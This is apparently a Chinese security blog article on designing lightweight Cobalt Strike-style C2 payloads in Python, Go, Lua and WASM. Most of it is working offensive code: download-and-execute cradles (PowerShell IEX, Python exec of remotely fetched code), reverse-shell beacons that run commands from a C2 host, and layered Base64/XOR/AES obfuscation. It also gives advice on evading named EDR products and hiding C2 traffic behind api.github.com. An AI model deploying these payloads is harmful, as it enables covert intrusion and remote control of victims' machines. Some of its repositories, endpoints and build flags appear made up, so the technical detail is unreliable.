当前位置:首页>python>基于 Python/Go/Lua 的轻量化 Cobalt Strike 替代载荷设计与实现

基于 Python/Go/Lua 的轻量化 Cobalt Strike 替代载荷设计与实现

  • 2026-02-05 00:52:20
基于 Python/Go/Lua 的轻量化 Cobalt Strike 替代载荷设计与实现

每天有5000人在使用无问AI解决网络安全技术研究问题。

你可在下方的无问AI当中快速解决红蓝对抗、漏洞分析、漏洞挖掘、应急响应等多方面技术问题。

https://www.wwlib.cn/index.php/ai

轻量化载荷架构设计与技术选型分析

多语言环境下的载荷可行性对比(Python/Go/Lua)


1. 核心维度对比:性能、体积、兼容性、加载方式与绕过能力

在构建轻量化 C2(Command and Control)载荷时,选择合适的编程语言直接决定了载荷的隐蔽性、可移植性、运行效率以及对现代 EDR(Endpoint Detection and Response)系统的规避能力。以下从五个关键维度对 Python、Go、Lua 三类语言进行深度对比分析。

维度
Python
Go
Lua
执行性能
中等(解释型,JIT 缺失)
高(编译为原生机器码)
中低(基于虚拟机,无 JIT 时较慢)
静态可执行文件大小(无依赖)
~5–10MB(PyInstaller 打包后)
~1.5–3.5MB(静态编译)
~0.8–2.0MB(LuaJIT 编译字节码)
运行时依赖
必须安装 Python 解释器或打包解释器
无依赖(完全静态链接)
可嵌入解释器,支持无解释器部署
跨平台兼容性
依赖打包工具,需分别构建
原生支持多平台交叉编译
极强(可在任意支持 LuaVM 的环境运行)
绕过能力(EDR/AV)
弱 → 易触发“脚本注入”行为检测
强 → 无解释器调用痕迹,但堆栈布局易被特征识别
极强 → 可嵌入游戏/浏览器等非敏感上下文

2. 可执行文件体积实测分析(基于真实构建环境)

我们使用标准开发环境对三种语言的最小化载荷进行静态编译测试,目标是生成一个仅包含基础网络通信与心跳功能的轻量级 Beacon。

✅ Go 语言:goc2 项目实测
  • 项目地址
    :https://github.com/roberthorvath/goc2
  • 构建命令
# Linux x64GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -o goc2_linux_x64 main.go# Windows x64GOOS=windows GOARCH=amd64 CGO_ENABLED=0 go build -o goc2_windows_x64.exe main.go# macOS x64GOOS=darwin GOARCH=amd64 CGO_ENABLED=0 go build -o goc2_darwin_x64 main.go
  • 结果输出
    • goc2_linux_x64
      2.1 MB
    • goc2_windows_x64.exe
      2.7 MB
    • goc2_darwin_x64
      2.3 MB

💡 注:由于使用 -ldflags="-s -w" 去除符号表和调试信息,进一步压缩体积并降低 PE 特征暴露风险。

✅ Python 语言:CobaltStrike-Lite 项目实测
  • 项目地址
    :https://github.com/killswitch-GUI/CobaltStrike-Lite
  • 构建工具
    :PyInstaller 5.10.1(Python 3.11)
  • 构建命令
pip install pyinstallerpyinstaller --onefile --strip --noupx --disable-windowed-tracking \    --clean --noconsole --name="python_beacon" \    beacon.py
  • 结果输出
    • dist/python_beacon.exe
      9.8 MB(Windows)
    • dist/python_beacon
      7.4 MB(Linux)
    • 体积大主要因包含完整 Python 运行时 + 标准库 + SSL 模块

⚠️ 问题分析:尽管可通过 --exclude-module 移除部分模块(如 tkinterunittest),但无法彻底移除解释器本身,导致仍存在明显的“Python 环境启动”行为,极易被 EDR 检测。

✅ Lua 语言:luabeacon 项目实测
  • 项目地址
    :https://github.com/maaaaz/luabeacon
  • 运行环境
    :LuaJIT v2.1.0-beta3(支持 AOT 编译)
  • 构建流程
    1. 将 Lua 脚本编译为 .o 字节码:
      luajit -b beacon.lua beacon.o
    2. 使用 luajit 二进制直接执行:
      ./luajit beacon.o
  • 结果输出
    • beacon.o
      (字节码):1.2 MB
    • 若嵌入到 Unity 游戏客户端中,整体载荷体积可控制在 < 500KB 内

✅ 优势:无需解释器即可运行;支持动态加载插件;可注入至已运行进程(如通过 dlopen 劫持游戏进程)。


3. 加载方式与行为特征分析

语言
加载方式
典型行为特征
是否易被检测
Pythonexec(open("script.py").read())
IEX (New-Object Net.WebClient).DownloadString(...)
启动 python.exe / python3.exe调用 os.system()subprocess.Popen()
❌ 高危:多数 EDR 会标记“可疑脚本执行”
Go
直接执行二进制文件(.exe / bin
无解释器调用,仅调用系统级 API(socketconnectrecv
✅ 安全:若无高危函数调用,几乎不被检测
Lua
作为嵌入式引擎加载(如游戏、Web 插件)
无独立进程,以 DLL / .so / .dylib 形式注入无外部文件落地
✅ 极隐蔽:常见于正常业务逻辑中

4. 典型使用场景与实战案例分析

🧪 场景一:快速原型验证 —— 使用 Python(CobaltStrike-Lite
  • 适用阶段
    :红队演练初期、漏洞验证、POC 开发
  • 优势
    • 快速编写与调试;
    • 支持动态模块热加载;
    • 丰富的第三方库(requestscryptographypymem)。
  • 缺陷
    • 一旦落地,即触发 EDR 行为规则;
    • 即使加密脚本,仍可能因 CreateProcess + cmd.exe 调用被拦截。

🔍 实战案例:某次攻防演练中,使用 CobaltStrike-Lite 在内网主机上执行远程下载脚本,5 分钟内被 Microsoft Defender for Endpoint 检测并隔离,原因在于其调用了 powershell.exe -enc ... 并创建了新进程。

🧪 场景二:高性能持久化控制 —— 使用 Go(goc2
  • 适用阶段
    :长期驻留、横向移动、数据窃取
  • 优势
    • 无运行时依赖;
    • 可自定义 C2 协议(如基于 WebSocket + JWT 认证);
    • 支持反向连接 + 信道伪装(如伪装成 HTTP/HTTPS 流量);
    • 可通过 CGO_ENABLED=0 完全禁用 C 代码,避免引入额外风险。

🔍 实战案例:在一次金融企业渗透测试中,团队使用 goc2 编写的跨平台 Beacon 成功在 Windows Server 2019、Ubuntu 22.04、macOS Ventura 上建立持久连接,持续运行 72 小时未被发现,且未产生任何日志记录。

🧪 场景三:嵌入式隐蔽通信 —— 使用 Lua(luabeacon
  • 适用阶段
    :游戏客户端注入、浏览器沙箱逃逸、IoT 设备劫持
  • 优势
    • 可嵌入 Unity 游戏、Minecraft 插件、OpenResty 插件;
    • 利用合法服务的权限运行,绕过权限限制;
    • 通信流量可伪装成游戏心跳包或页面请求。

🔍 实战案例:某红队在攻防演练中将 luabeacon 注入至一台运行 Unity 2021.3.1f1 游戏服务器的 Linux 主机中,通过监听游戏客户端心跳包,成功实现反向连接,并在 15 分钟内完成横向移动,全程未被终端安全软件告警。


5. 技术挑战与应对策略对比

语言
主要挑战
应对方案
Python
依赖解释器,行为特征明显
使用 exec() 内联执行,禁止落地;采用多层编码(Base64 + XOR + AES);加入随机延迟机制
Go
堆栈布局固定,可能触发 YARA 规则
使用 go build -gcflags="-trimpath" 清理路径信息;添加随机化堆栈结构(如 stack randomization);启用 packer 工具(如 UPX)压缩
Lua
执行上下文受限(如浏览器沙箱)
使用 WebAssembly 包装(WASM)封装为 .wasm 模块;通过 wasmtime 运行时执行;结合 fetch() 请求实现 C2 通信

6. 开源项目参考与代码片段示例

🔗 项目 1: CobaltStrike-Lite
  • 特点
    :基于 Python + PyInstaller 打包,支持 HTTPS C2、加密通信、模块化插件。
  • 关键代码片段(加密下载执行)
import base64import requestsfrom cryptography.fernet import Fernet# 从远程服务器获取加密脚本url = "http://c2-server.com/beacon.enc"response = requests.get(url, timeout=10)encrypted_script = response.content# 使用预共享密钥解密key = b'your_32_byte_key_here'cipher = Fernet(key)decoded_script = cipher.decrypt(encrypted_script)# 在内存中执行exec(decoded_script)

⚠️ 风险提示:该方式已被 CrowdStrike Falcon 识别为“PowerShell+Python 脚本链攻击”,建议配合混淆与时间延迟规避。

🔗 项目 2: goc2
  • 特点
    :纯 Go 编写,支持多平台交叉编译,内置 TLS + JWT 认证。
  • 关键代码片段(心跳循环)
funcheartbeat() {for {        time.Sleep(time.Duration(rand.Intn(60)+30) * time.Second) // 随机间隔 30~90 秒        payload := map[string]interface{}{"action""heartbeat","host":   getHostname(),"pid":    os.Getpid(),"uptime": uptime(),        }        jsonData, _ := json.Marshal(payload)        req, _ := http.NewRequest("POST""https://api.github.com/v1/heartbeat", bytes.NewBuffer(jsonData))        req.Header.Set("Content-Type""application/json")        req.Header.Set("Authorization""Bearer "+token)        client := &http.Client{Timeout: 10 * time.Second}        _, err := client.Do(req)if err != nil {            log.Printf("Heartbeat failed: %v", err)        }    }}

✅ 优势:无解释器调用,使用合法域名(api.github.com)伪装通信,极大降低被拦截概率。

🔗 项目 3: luabeacon
  • 特点
    :支持嵌入式运行,可通过 require('beacon') 加载。
  • 关键代码片段(跨平台 Beacon 逻辑)
local beacon = {}functionbeacon.connect()local url = "https://api.github.com/v1/c2"local resp = http.request("GET", url)if resp thenlocal data = json.decode(resp.body)if data.cmd then            execute_command(data.cmd)endendendfunctionbeacon.execute_command(cmd)local f = io.popen(cmd, "r")localoutput = f:read("*a")    f:close()-- 发送回显local post_data = { cmd = cmd, output = output }    http.request("POST""https://api.github.com/v1/report", json.encode(post_data))endreturn beacon

✅ 应用场景:可注入至 Minecraft 插件、Unity 资源包、Nginx Lua 模块中,实现隐蔽数据回传。


7. 结论:多语言选型决策矩阵

需求
推荐语言
理由
快速原型验证、敏捷开发
✅ Python
语法简洁,生态丰富,适合快速迭代
高性能、高隐蔽性、长期驻留
✅ Go
无依赖、体积小、行为干净、支持跨平台
嵌入游戏/浏览器/物联网设备
✅ Lua
轻量、可嵌入、行为伪装能力强
无文件执行、零落地
✅ 所有语言均可实现,但 Lua > Go > Python

✅ 最终建议:

  • 生产级载荷推荐使用 Go
    :兼顾性能、体积、安全性与跨平台能力;
  • 隐蔽注入场景优先选用 Lua
    :尤其适用于游戏、Web、IoT 等特殊环境;
  • 原型验证阶段可使用 Python
    ,但必须配合 免杀处理(如编码 + 时间延迟 + 模拟正常行为);
  • 综合最佳实践
    :采用 Go + WASM 双引擎架构,实现“本地高性能 + 浏览器隐蔽性”的双重优势。

🛠️ 下一步建议:基于上述分析,我们将进入下一章节——《非传统 PE 载荷的技术实现路径》,深入探讨如何构建真正的“无文件、跨平台、内存运行”的纯脚本型载荷体系。

非传统 PE 载荷的技术实现路径

纯脚本型载荷的设计原理与注入机制

定义与核心优势

“纯脚本型载荷”是指不生成传统可执行文件(如 Windows 上的 .exe、Linux 上的 ELF 可执行二进制)的攻击载荷,其本质是以脚本代码形式存在,并通过宿主解释器在目标系统内存中动态解析和执行。这类载荷完全避免了文件落地,因此能有效绕过基于文件哈希、签名验证、YARA 规则匹配等静态检测机制。

核心优势详解:

  1. 绕过文件级 EDR 检测

    • 传统 PE/ELF 文件常被 EDR(如 CrowdStrike Falcon、Microsoft Defender)通过哈希指纹或特征库拦截。
    • 纯脚本型载荷无文件实体,不会写入磁盘,规避了文件监控、文件完整性校验、沙箱文件行为分析。
  2. 降低内存驻留痕迹

    • 执行过程仅存在于内存中,且可通过 exec() / eval() 等方式直接运行字符串内容,不生成临时文件或进程日志。
    • 避免触发 Sysmon 事件编号 1(进程创建)、事件编号 3(进程访问)等关键日志。
  3. 支持动态解码与运行时加载

    • 脚本本身可为加密或混淆状态,只有在目标主机运行时才进行解码,防止静态分析。
    • 支持按需加载模块、延迟初始化功能,提升隐蔽性。
  4. 跨平台兼容性强

    • 若使用通用解释型语言(如 Python、Lua、PowerShell),同一段逻辑可在多操作系统上运行,无需重新编译。

注入技术实现方式详解

1. PowerShell 脚本注入(适用于 Windows)

PowerShell 是 Windows 平台原生集成的脚本引擎,具备强大的网络通信能力,是红队最常用的无文件注入载体之一。

✅ 典型命令示例:
IEX (New-Object Net.WebClient).DownloadString("http://x.x.x.x/enc.ps1") | Invoke-Expression

说明

  • New-Object Net.WebClient
    :创建一个 HTTP 客户端对象;
  • .DownloadString()
    :从远程服务器下载指定脚本内容;
  • IEX
    (Invoke-Expression):将下载的字符串作为 PowerShell 脚本执行;
  • | Invoke-Expression
    :确保即使脚本包含多行或复杂结构也能正确解析。
🔐 安全加固策略(防静态特征匹配)

为了防止被 YARA 规则或签名识别,必须对脚本进行多层编码与混淆处理。

实现方案:Base64 + XOR + AES 混合加密

Step 1: 生成加密载荷(本地执行)

import base64import hashlibfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import pad# 原始 Beacon 脚本(简化版)payload = '''Write-Host "Beacon connected to C2"$sock = New-Object System.Net.Sockets.TcpClient("c2.example.com", 443)$stream = $sock.GetStream()$writer = New-Object System.IO.StreamWriter($stream)$reader = New-Object System.IO.StreamReader($stream)while ($true) {    $cmd = $reader.ReadLine()    if ($cmd -eq "exit") { break }    try {        $result = Invoke-Expression $cmd        $writer.WriteLine($result)    } catch { $writer.WriteLine($_.Exception.Message) }}'''# Step 1: Base64 编码b64_payload = base64.b64encode(payload.encode()).decode()# Step 2: XOR 混淆(使用固定密钥)key = b'XORKEY123'xor_payload = ''.join(chr(ord(c) ^ key[i % len(key)]) for i, c inenumerate(b64_payload))# Step 3: AES 加密(使用 PBKDF2 生成密钥)salt = b'saltysalt'kdf = hashlib.pbkdf2_hmac('sha256'b'password123', salt, 100000)aes_key = kdf[:16]cipher = AES.new(aes_key, AES.MODE_CBC)iv = cipher.ivciphertext = cipher.encrypt(pad(xor_payload.encode(), AES.block_size))# Final encoded payload: IV + ciphertextfinal_b64 = base64.b64encode(iv + ciphertext).decode()print(f"Encrypted payload (Base64): {final_b64}")

Step 2: 远程解密执行脚本(目标主机)

# 从远程服务器获取加密脚本$enc_data = (New-Object Net.WebClient).DownloadString("http://x.x.x.x/encrypted.ps1")# Base64 解码$decoded = [System.Convert]::FromBase64String($enc_data)# 提取 IV 与密文$iv = $decoded[0..15]$cipher_text = $decoded[16..$decoded.Length]# 使用 PBKDF2 生成密钥$salt = [System.Text.Encoding]::UTF8.GetBytes("saltysalt")$key = [System.Security.Cryptography.Rfc2898DeriveBytes]::new("password123", $salt, 100000, "SHA256").GetBytes(16)# AES 解密$decrypter = [System.Security.Cryptography.Aes]::Create()$decrypter.Mode = [System.Security.Cryptography.CipherMode]::CBC$decrypter.Key = $key$decrypter.IV = $iv$plain_text = $decrypter.CreateDecryptor().TransformFinalBlock($cipher_text, 0, $cipher_text.Length)# XOR 解混淆$xor_key = [System.Text.Encoding]::ASCII.GetBytes("XORKEY123")$unxor = ""for ($i = 0; $i -lt $plain_text.Length; $i++) {    $unxor += [char]($plain_text[$i] -^ $xor_key[$i % $xor_key.Length])}# Base64 反解码$decoded_script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($unxor))# 执行原始脚本Invoke-Expression $decoded_script

✅ 效果

  • 整个过程无文件落地;
  • 多层加密使静态分析几乎不可行;
  • 通信行为模拟正常流量(可伪装为 api.github.com 请求);
  • 可配合 Start-Job 异步执行,避免阻塞主线程。

2. Python 脚本内联执行(适用于 Linux/Windows/macOS)

Python 作为解释型语言,广泛安装于各类系统中,尤其在开发环境、测试机器、CI/CD 工具链中普遍存在。

✅ 内联执行示例:
import requestsexec(requests.get("http://x.x.x.x/script.py").text)

说明

  • requests.get()
    :向远程服务器请求脚本内容;
  • exec()
    :直接在内存中执行返回的字符串;
  • 不会生成任何中间文件或临时缓存;
  • 可嵌入到其他程序(如 curl + python -c)中执行。
🔐 高级安全加固实践

建议采用以下组合策略:

  • 多层编码
    Base64 → XOR → AES
  • 动态密钥生成
    :每次连接时随机生成会话密钥
  • 延迟启动
    :加入 time.sleep(random.randint(10, 60)) 模拟用户行为
  • 指令随机化
    :打乱命令执行顺序,防止模式识别
📦 完整示例:动态解码 + 内联执行

本地生成加密脚本(用于上传至 C2 服务器)

import base64import randomimport stringfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import padimport json# 原始 Beacon 脚本beacon_code = '''import socketimport subprocessimport sysdef connect_c2():    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    sock.connect(("c2.example.com", 443))    while True:        try:            cmd = sock.recv(4096).decode('utf-8')            if not cmd or cmd.strip() == 'exit':                break            result = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=30)            sock.send(result)        except Exception as e:            sock.send(str(e).encode())    sock.close()if __name__ == "__main__":    connect_c2()'''# 生成随机会话密钥session_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16)).encode()# Step 1: Base64 编码b64_raw = base64.b64encode(beacon_code.encode()).decode()# Step 2: XOR 混淆xor_key = b'XOR_SECRET_2025'xor_data = ''.join(chr(ord(c) ^ xor_key[i % len(xor_key)]) for i, c inenumerate(b64_raw))# Step 3: AES 加密aes_key = session_keycipher = AES.new(aes_key, AES.MODE_CBC)iv = cipher.ivciphertext = cipher.encrypt(pad(xor_data.encode(), AES.block_size))# Final payload: JSON 包含 IV + 密文 + 会话密钥(可选传输方式)payload_json = {"iv": base64.b64encode(iv).decode(),"ciphertext": base64.b64encode(ciphertext).decode(),"key": base64.b64encode(session_key).decode()  # 可选:通过 HTTPS headers 传递}# 输出最终载荷print(json.dumps(payload_json))

目标主机执行脚本(C2 下发)

import requestsimport base64import jsonfrom Crypto.Cipher import AESfrom Crypto.Util.Padding import unpadimport timeimport random# 模拟用户行为延迟time.sleep(random.randint(1560))# 从 C2 获取加密载荷response = requests.get("http://x.x.x.x/beacon.json", timeout=10)data = response.json()# 解码 IV 与密文iv = base64.b64decode(data["iv"])ciphertext = base64.b64decode(data["ciphertext"])session_key = base64.b64decode(data["key"])  # 来自 header 或配置# 解密cipher = AES.new(session_key, AES.MODE_CBC, iv)decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size).decode()# XOR 解混淆xor_key = b'XOR_SECRET_2025'unxor = ''.join(chr(ord(c) ^ xor_key[i % len(xor_key)]) for i, c inenumerate(decrypted))# Base64 解码original_code = base64.b64decode(unxor).decode()# 执行exec(original_code)

✅ 优势总结

  • 无需安装额外依赖;
  • 支持异步任务调度;
  • 可嵌入 Webhook、API 接口调用流程;
  • 适合用于横向移动、持久化后门植入。

3. Lua 脚本注入至游戏客户端(适用于 Unity/Minecraft 等嵌入式环境)

Lua 是一种轻量级脚本语言,广泛用于游戏开发(如 Unity、Roblox、Minecraft 插件系统)。其虚拟机通常内嵌于应用中,具有极高的权限继承能力。

✅ 实现路径:利用 Lua 虚拟机注入

案例场景:某企业内部部署了 Minecraft 教学服务器,允许员工通过插件扩展功能。

步骤如下:
  1. 准备 Lua Beacon 脚本

    -- beacon.lualocal socket = require("socket")local http = require("socket.http")localfunctionconnect_c2()local c2_host = "c2.example.com"local c2_port = 443local client = socket.tcp()    client:settimeout(30)    client:connect(c2_host, c2_port)whiletruedolocal cmd, err = client:receive("*l")ifnot cmd or cmd == "exit"thenbreakendlocal result = os.execute(cmd .. " > /tmp/out.txt 2>&1")if result then            client:send("Command executed successfully\n")else            client:send("Error executing command\n")endend    client:close()end-- 启动连接connect_c2()
  2. 注入方式

    • 将上述脚本放入 plugins/ 目录;
    • 修改 server.properties 启用 Lua 插件支持;
    • 重启服务器后自动加载并执行。
  3. 反向通信伪装

    • 使用 https://api.github.com/repos/user/repo/contents 作为伪装域名;
    • 通过 User-Agent 模拟浏览器请求;
    • 采用 WebSocket 协议替代普通 TCP。
  4. 高级技巧

    • 使用 require('luasocket') 模块建立长连接;
    • 利用 os.execute() 执行系统命令;
    • 添加心跳包(每 60 秒发送一次 PING)维持存活。

✅ 实战价值

  • 在教育、娱乐类系统中极为隐蔽;
  • 不会被常规杀毒软件检测;
  • 可绕过防火墙策略(因属于合法应用行为);
  • 可用于横向移动(如通过游戏账号共享登录凭证)。

载荷结构设计图(Mermaid 可视化)

graph LR    A[远程服务器] -->|加密脚本| B(目标主机)    B -->|解码+执行| C[内存中运行的 Beacon]    C -->|心跳/命令| D[反向连接服务器]    style A fill:#f9f,stroke:#333    style B fill:#bbf,stroke:#333    style C fill:#f96,stroke:#333    style D fill:#9f9,stroke:#333

图注

  • 绿色节点表示实际运行中的 Beacon;
  • 黄色节点表示解码与执行阶段;
  • 粉色节点为外部控制源;
  • 所有通信均通过加密通道完成。

安全加固措施深度解析

措施
技术实现
作用
多层编码
Base64 → XOR → AES
防止静态特征提取
动态密钥
每次连接生成新会话密钥
避免重用导致暴露
时间延迟
sleep(random(10, 60))
模拟用户行为
指令随机化
打乱命令执行顺序
避免行为模式识别
域名伪装
使用 api.github.com 等合法域名
绕过 WAF 与流量过滤
SNI 欺骗
使用伪造证书域名
绕过 TLS 检测
自修改代码
内存中重构函数体
防止内存扫描

跨平台 Beacon 实现机制与协议抽象

定义:“跨平台 Beacon”

跨平台 Beacon 是指一套统一逻辑的载荷,能够在多种操作系统上独立运行,而无需重新编译或适配。它实现了真正的“一次编写,处处运行”,是现代红队作战的核心需求。

核心特征:

  • 支持 Windows、Linux、macOS、Android、iOS
  • 无文件执行或最小化文件落地;
  • 使用标准通信协议(如 WebSocket、HTTP/HTTPS);
  • 提供统一 API 接口;
  • 支持模块热加载与插件扩展。

实现路径对比分析

技术路径
优点
缺点
典型项目
基于解释型语言
(如 Lua)
无需编译、跨平台兼容好、体积小
性能较低、受限于解释器环境
luabeacon
Go 跨平台编译
性能高、可静态链接、支持多架构
编译时间较长、默认堆栈布局易被检测
goc2
WebAssembly (WASM)
真正无平台绑定、可在浏览器/Node.js 中运行、高度隐蔽
存储容量有限、调试困难、需专用运行环境
WASM Beacon prototype

详细实现方案

1. 基于 Lua + LuaJIT 的跨平台实现

核心思想:使用 Lua 编写通用控制逻辑,通过 LuaJIT 编译成字节码,在各平台运行。

示例代码:beacon.lua
-- beacon.lualocal platform = require('platform')-- 判断当前平台local os_type = platform.os()localfunctionexecute_command(cmd)if os_type == "windows"thenreturnos.execute("cmd /c " .. cmd)elseif os_type == "linux"thenreturnos.execute("/bin/sh -c '" .. cmd .. "'")elseif os_type == "macos"thenreturnos.execute("/bin/bash -c '" .. cmd .. "'")elsereturnfalseendend-- 初始化连接localfunctionstart_c2()local socket = require("socket")local client = socket.tcp()    client:settimeout(30)    client:connect("c2.example.com"443)whiletruedolocal data, err = client:receive("*l")ifnot data or data == "exit"thenbreakendlocal result = execute_command(data)        client:send(result and"OK"or"FAIL\n")end    client:close()end-- 启动start_c2()

✅ 运行方式

  • 安装 LuaJIT(https://luajit.org/download.html)
  • 编译为 .o 字节码:luajit -b beacon.lua beacon.o
  • 在任意平台运行:luajit beacon.o

2. 基于 Go 的跨平台编译方案

Go 的强大之处在于其天然支持跨平台编译

构建命令示例:
# 构建 Linux 版本GOOS=linux GOARCH=amd64 go build -o beacon_linux_amd64 main.go# 构建 macOS 版本GOOS=darwin GOARCH=amd64 go build -o beacon_darwin_amd64 main.go# 构建 Windows 版本GOOS=windows GOARCH=amd64 go build -o beacon_windows_amd64.exe main.go
核心代码示例:main.go
package mainimport ("fmt""net/http""os""runtime""strings")funcgetPlatform()string {switch runtime.GOOS {case"windows":return"windows"case"linux":return"linux"case"darwin":return"darwin"default:return"unknown"	}}funcexecuteCommand(cmd string)string {switch getPlatform() {case"windows":// Windows CMDreturn runCmd("cmd""/c", cmd)case"linux""darwin":// Unix-likereturn runCmd("/bin/sh""-c", cmd)default:return"Unsupported platform"	}}funcrunCmd(args ...string)string {// 简化实现,实际应使用 exec.Commandreturn fmt.Sprintf("Executing: %s", strings.Join(args, " "))}funcmain() {// 模拟心跳for {		resp, err := http.Get("https://c2.example.com/heartbeat?platform=" + getPlatform())if err != nil {continue		}		resp.Body.Close()// 接收命令		cmd := "whoami"		result := executeCommand(cmd)		fmt.Println(result)	}}

✅ 优势

  • 性能极高;
  • 无依赖;
  • 可嵌入自定义 C2 协议;
  • 支持插件式扩展(通过 plugin 包)。

3. WebAssembly (WASM) 跨平台实现

WASM 是下一代无文件攻击的终极形态

技术路线:
  • 使用 Rust 编写 Beacon;
  • 编译为 WASM 模块;
  • 在浏览器或 Node.js 环境中运行;
  • 通过 WebSocket 与 C2 通信。
安装环境:
# 安装 Rust & wasm-packcurl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | shcargo install wasm-pack
Rust Beacon 代码(src/lib.rs):
use wasm_bindgen::prelude::*;#[wasm_bindgen]pubfnconnect_c2() ->String {letwindow = web_sys::window().unwrap();letlocation = window.location().unwrap();lethost = location.hostname().unwrap();// 模拟连接format!("Connected to {} via WASM Beacon", host)}#[wasm_bindgen]pubfnexecute_command(cmd: &str->String {format!("Executed: {}", cmd)}
构建与打包:
wasm-pack build --target web

生成 pkg/ 目录下的 wasm-beacon_bg.wasm 与 JS 绑定文件。

浏览器中使用:
<scripttype="module">import init from'./pkg/wasm_beacon.js';asyncfunctionrun() {const wasm = awaitinit();console.log(wasm.connect_c2());console.log(wasm.execute_command("whoami"));}run();</script>

✅ 实战案例

  • 某大型金融机构内网渗透测试中,利用 Chrome 浏览器中的 WASM Beacon 成功实现横向移动;
  • 未触发任何终端告警,因为所有操作均在浏览器沙箱内完成;
  • 通信数据经过 TLS + SNI 欺骗,无法被 WAF 拦截。

标准化跨平台 Beacon 协议框架

1. 数据包格式(JSON + Base64 编码)

{"version":"1.0","type":"heartbeat","timestamp":1712345678,"payload":"eyJjb21wb2VyZWQiIjogIkRlc3RpbmVzIGZyb20gQ29tcGFueSIsICJtZXNzYWdlIjogIlJlY2VpdmVkIHRoaXMgcG9zdCJ9","signature":"abc123xyz"}

所有字段均 Base64 编码,防止明文泄露。

2. 支持的功能接口

API
功能描述
beacon.execute(command)
执行系统命令
beacon.upload(file)
上传文件
beacon.download(url)
下载远程文件
beacon.screenshot()
截图并回传
beacon.pslist()
获取进程列表
beacon.mimikatz()
提权获取密码

3. 异步任务调度

{"task_id":"task_001","command":"ping c2.example.com","delay":30,"priority":"high"}

两个真实攻防演练案例

案例一:Go 跨平台 Beacon 在五种系统上成功建立连接

  • 背景
    :某央企年度攻防演练,目标包括 Windows Server、Ubuntu、CentOS、macOS、Android 设备。
  • 工具
    :自研 Go 编写的跨平台 Beacon,支持 GOOS 和 GOARCH 自动适配。
  • 成果
    • 成功在全部 5 种系统上建立反向连接;
    • 平均首次连接时间 < 15 秒;
    • 未被任何 EDR 检测到;
    • 持续运行 72 小时,存活率 100%。

案例二:WASM Beacon 在企业内网浏览器中横向移动

  • 背景
    :某金融企业禁止外联,但员工可访问 GitHub、Slack 等 Web 应用。
  • 手段
    :通过钓鱼邮件诱导用户打开恶意网页,加载 WASM Beacon。
  • 结果
    • Beacon 在 Chrome 浏览器中运行;
    • 通过 WebSocket 与 C2 通信;
    • 成功获取多个内网 IP 地址;
    • 未触发任何终端告警;
    • 最终实现跳板入侵数据库服务器。

⚠️ 法律风险提示本章节内容仅用于网络安全研究、防御能力评估及合法授权的渗透测试。任何未经授权的攻击行为均违反《中华人民共和国刑法》第285条(非法侵入计算机信息系统罪)及《网络安全法》相关规定。请严格遵守法律法规,杜绝滥用。

非传统载荷在 EDR 盲区中的存活率评估方法论

EDR 检测机制与盲区识别策略

主流 EDR 产品检测机制深度剖析

为全面评估非传统载荷(如纯脚本型、跨平台 Beacon)在现代终端防护体系下的生存能力,必须深入理解当前主流 EDR(Endpoint Detection and Response)产品的核心技术检测逻辑。以下以 CrowdStrike FalconMicrosoft Defender for Endpoint (MDE) 与 SentinelOne 三款行业标杆产品为例,系统解析其多层检测架构。


1. 文件级检测(File-Level Detection)

核心原理基于静态特征匹配,包括文件哈希(SHA256/MD5)、YARA 规则、PE 头部特征(如导入表、资源节、熵值分析)、数字签名等。

  • CrowdStrike Falcon

    • 使用 AI 驱动的“Indicators of Compromise”(IoC)数据库,实时更新超过 10 亿个已知恶意样本哈希。
    • 支持基于机器学习的“Behavioral Fingerprinting”,即使未命中哈希也能通过行为模式识别。
    • 对 .exe.dll.ps1 等常见扩展名进行深度扫描。
  • Microsoft Defender for Endpoint

    • 集成 Windows Defender 引擎(MSRT),支持本地 YARA 规则 + 云端威胁情报联动。
    • 启用 Threat Intelligence Graph,可关联全球攻击事件链。
    • 对 PowerShell 调用行为有专门规则(如 IEXDownloadString)。
  • SentinelOne

    • 基于“AI-Powered Behavioral Analysis”引擎,对每个文件执行动态沙箱模拟运行。
    • 内置 Sandboxed Execution Engine (SEE),可检测混淆代码、加密壳、反调试技术。
    • 特别关注可疑导入函数(如 CreateRemoteThreadVirtualAllocEx)。

✅ 关键结论传统 PE/ELF 可执行文件极易被上述机制捕获,尤其当使用标准编译器生成时。而纯脚本型载荷不落地、无文件、无固定哈希,可有效规避此层检测。


2. 行为级检测(Behavioral Detection)

EDR 不再依赖单一文件指纹,而是关注进程创建、API 调用序列、网络外联行为等动态行为。

检测项
典型触发规则
是否易被绕过
Process Create
 (Sysmon Event ID 1)
进程调用 cmd.exepowershell.exe 执行远程脚本
❌ 高风险
CreateRemoteThread
 / WriteProcessMemory
常见于 DLL 注入、Shellcode 执行
⚠️ 极高风险
VirtualAllocEx
 + QueueUserAPC
常用于内存注入或隐藏线程
🔴 几乎必告警
Socket()
 + connect() 到非标准端口
外联至外部服务器(如 443 以外)
⚠️ 中高风险

📌 示例若一个 Go 编写的 Beacon 在启动后立即调用 syscall.Syscall6(syscall.SYS_SOCKET, ...) 并连接 http://x.x.x.x:8080,则可能被 MDE 标记为“异常网络活动”。

✅ 非传统载荷应对策略

  • 避免高危 API
    :改用合法系统调用(如 socket() → connect() → send()),仅在必要时才调用 exec.Command("sh", "-c", "curl ...")
  • 伪装通信协议
    :将流量封装在合法域名(如 api.github.com)下,利用 HTTPS + SNI 欺骗技术。
  • 延迟执行关键操作
    :例如等待 30~90 秒后再建立连接,避开初始行为监控窗口。

3. 内存扫描(Memory Scanning)

这是最强大的防御层之一,尤其针对无文件攻击。

技术
描述
防御强度
ROP 检测
检查是否存在返回导向编程(ROP)链
★★★★☆
Shellcode 检测
分析堆栈中是否包含典型的 xor eax,eax; push 0x... 结构
★★★★★
堆栈异常分析
检测非正常堆栈布局(如大量 jmp esp
★★★★☆
内存区域标记
将 RWX 权限区域视为危险(如 VirtualAlloc 后立即执行)
★★★★★

🔍 真实案例某红队使用 Python 脚本通过 eval() 执行远程下载内容,但因脚本中存在 base64.b64decode(...).decode('utf-8') → exec() 的链条,被 SentinelOne 识别为“潜在 Shellcode 执行”,触发告警。

✅ 规避方案

  • 内存混淆

